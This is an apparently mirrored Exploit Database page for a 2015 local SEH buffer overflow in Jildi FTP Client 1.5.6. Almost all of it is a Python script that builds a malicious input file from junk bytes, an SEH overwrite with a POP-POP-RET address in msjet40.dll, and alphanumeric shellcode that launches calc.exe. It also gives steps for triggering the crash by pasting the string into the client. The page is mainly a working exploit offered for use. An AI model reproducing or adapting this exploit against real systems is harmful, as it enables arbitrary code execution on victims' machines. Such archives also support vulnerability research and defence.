Jildi FTP Client 1.5.6 – Local Buffer Overflow (SEH)

• Exploit Database
• 116 阅读

• 作者： Zahid Adeel
  日期： 2015-06-04
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37197/
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  #!/usr/bin/python #Author: Zahid Adeel #Title: Jildi FTP Client 1.5.6 (SEH) BOF #Version: 1.5.6 Build 1536 #Software Link: http://usfiles.brothersoft.com/internet/ftp/jildiftp.zip #Tested on: WinXP Professional SP3 #Date: 2015-06-03   #EDB Ref.: https://www.exploit-db.com/exploits/37187/   #Open jildi-poc.txt file and copy its content on clipboard. Then run Jildi FTP client, click on Connect icon and paste this string in server text input #field. On successful exploitation, you will see calc.exe running on your system.   fname="jildi-poc.txt"   junk = "A" * 10096 n_seh = "\xeb\x06\x90\x90" ppr = "\x56\x0B\x01\x1B" # PPR in msjet40.dll   #run your calc.exe shellcode=("\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43" "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30" "\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52" "\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b" "\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50" "\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c" "\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54" "\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b" "\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c" "\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31" "\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47" "\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54" "\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e" "\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30" "\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51" "\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51" "\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45" "\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50" "\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56" "\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a" "\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c" "\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38" "\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b" "\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d" "\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d" "\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53" "\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43" "\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35" "\x45\x50\x41\x41")   padding = "F" * (15000 - len(junk) -len(shellcode) - 8) poc = junk + n_seh + ppr + shellcode + padding   fhandle = open(fname , 'wb') fhandle.write(poc) fhandle.close()